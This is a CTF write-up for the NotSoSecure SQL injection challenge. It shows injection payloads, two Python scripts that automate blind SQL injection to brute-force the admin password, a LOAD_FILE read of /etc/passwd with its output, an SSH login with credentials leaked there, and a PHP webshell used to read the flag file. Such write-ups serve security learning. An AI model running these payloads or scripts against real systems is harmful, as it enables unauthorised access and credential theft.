NotSoSecure CTF Writeup
Last week it was the third edition of 8dot8 Security Conference, but as I'm currently in Europe I wasn't able to attend and the challenge they released was to extract some codes from an IPhone application, a difficult task for someone not having an IPhone device. I was a bit disappointed and therefore wanted to spend my time in another challenge. I was registered for NotSoSecure CTF, so participated managing to find the two flags (final leaderboard). This is my writeup about the challenge.
Getting the first flag
The challenge's frontpage was a normal login form asking for an unknown user/password.
Trying common SQL injection patterns didn't succeed and the browser didn't show any extra data. The flow in this situation was:
- Fill the form
- Submit the form to /checklogin.php
- Redirect to /error.php
I was a while looking at the code for any hint but nothing. Then I run BurpSuite to execute some requests and realized that there's some data in the redirect response. That kind of information wasn't visible in the browser, so to take in account next time.
The data was the following:
7365637265745f72656769737465722e68746d6c
After decoding that string I got secret_register.html
.
The registration form allowed to create a new valid user to use in the first login form. You had to provide an username, e-mail and password. After creating a new user, you had to login using the first form and the following image was displayed.
Looking at the response, a session_id
cookie was created with an obfuscated value. It contained the string %3D
(the URL-encoding for =
) so it seemed like a base64 string. The encoded value corresponded to the user email. Based on that, I thought there was a query like SELECT email FROM users where username='myuser'
so I tried a simple SQL injection in the parameter regname
like 1' OR '1'='1';--
which returned to me the admin email: admin@sqlilabs.com
.
All the time I was using this script to help me to only worry about SQL injection payloads.
import re
import requests
import sys
import base64
from urllib import unquote
headers = {'User-Agent': 'Mozilla 5.0'}
payload = sys.argv[1]
reg_url = "http://ctf.notsosecure.com/71367217217126217712/register.php?" \
"regname=%s®email=email@example.org®pass1=test®pass2=test"
r = requests.get(reg_url % payload, headers=headers)
login_url = "http://ctf.notsosecure.com/71367217217126217712/checklogin.php"
data = {'myusername': payload, 'mypassword': 'test'}
r = requests.post(login_url, data=data, headers=headers)
try:
session_id = r.cookies['session_id']
print "Text: %s " % base64.b64decode(unquote(session_id))
except:
print "[-] Failed!"
if re.findall('Attack detected', r.content):
print "[-] Attack detected"
elif not re.findall("You are not Admin!", r.content):
print 'Check page!'
With that in mind, I started to think how to get the password. I was a bit tired and that's why I took the longest way to get the password, not seeing the short and easy way. I tried a SQL injection like admin' and password='x%'
(x = char). Obviously it wasn't a manual search since I programmed a script to optimize the number of sent requests and extract the password.
The script was the following.
import requests
import sys
import base64
from urllib import unquote
base_url = "http://ctf.notsosecure.com/71367217217126217712"
login_url = base_url + "/checklogin.php"
reg_url = base_url + "/register.php?regname=%s®email=e@example.org®pass1=test®pass2=test"
headers = {'User-Agent': 'Mozilla 5.0'}
def is_valid_payload(payload):
#Register user
requests.get(reg_url % payload, headers=headers)
#Login with created user
data = {'myusername': payload, 'mypassword': 'test'}
r = requests.post(login_url, data=data, headers=headers)
try:
session_id = r.cookies['session_id']
email = base64.b64decode(unquote(session_id))
if email == 'admin@sqlilabs.com':
return True
except:
pass
return False
def got_password(flag):
if not flag:
return False
payload = "admin' and password='%s';--" % flag
if is_valid_payload(payload):
return True
else:
return False
def guess_next_letter(flag, chars):
payload = "admin' and password like '{0}%';--"
for c in chars:
new_payload = payload.format(flag + c)
if is_valid_payload(new_payload):
return c
print '[-] Letter not found.'
sys.exit(0)
def get_valid_chars():
chars = []
payload = "admin' and password like '%{0}%';--"
print 'Recollecting chars ...'
for i in range(32, 126):
c = chr(i)
if c == '%':
continue
new_payload = payload.format(c)
if is_valid_payload(new_payload):
print 'Added char %s' % c
chars.append(c)
print "chars = %s" % repr(chars)
return chars
if __name__ == '__main__':
flag = ''
chars = get_valid_chars()
print 'Starting bruteforce ...'
while not got_password(flag):
flag += guess_next_letter(flag, chars)
print "Guessed letters: %s" % flag
print 'Flag: %s' % flag
Getting this output:
$ python phase1.py
Starting bruteforce ...
Guessed letters: S
Guessed letters: SQ
Guessed letters: SQL
Guessed letters: SQLI
Guessed letters: SQLIL
Guessed letters: SQLILA
Guessed letters: SQLILAB
Guessed letters: SQLILABR
Guessed letters: SQLILABRO
Guessed letters: SQLILABROC
Guessed letters: SQLILABROCK
Guessed letters: SQLILABROCKS
Guessed letters: SQLILABROCKS!
Guessed letters: SQLILABROCKS!!
Flag: SQLILABROCKS!!%
Next day, I tested with:
$ python phase2.py "admin' UNION SELECT password, '1' FROM users where name='admin' LIMIT 1,1--"
Text: sqlilabRocKs!!
Getting the same password more easily. Login with admin as username and that password, the first flag was displayed.
Getting the second flag
To get the second flag I had to read a secret.txt
file. After confirming that it was a MySQL database, I tested if I had permission to read/write files trying to read /etc/passwd
file.
$ python phase2.py "admin' UNION SELECT LOAD_FILE('/etc/passwd'), '1' FROM users LIMIT 1,1--"
Text: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
ntop:x:108:116::/var/lib/ntop:/bin/false
The line 29 shows a strange user, so I tried to log in SSH using temp123:weakpassword1
getting a shell. I did a listing and saw public_html
directory, so I could create scripts running under the user configured in Apache (well, that's the default behaviour). At that point, I had to find where secret.txt
was.
$ locate secret.txt
/secret.txt
$ ls -l /secret.txt
-r-------- 1 www-data www-data 684 Oct 25 07:46 secret.txt
I uploaded a simple PHP webshell, tested that I was running the shell as 'www-data' and finally issued the command cat /secret.txt
from the webshell, getting the second flag.
Conclusions
It was a very nice CTF, there are many good writeups of other people in Internet if you want to learn other techniques/tools to exploit this kind of vulnerabilities. Since these challenges belong to the SQL Injection Labs, I think that lab is highly recommendable for anyone who wants to understand in depth SQL injection.
I'm waiting for the next NotSoSecure CTF in December.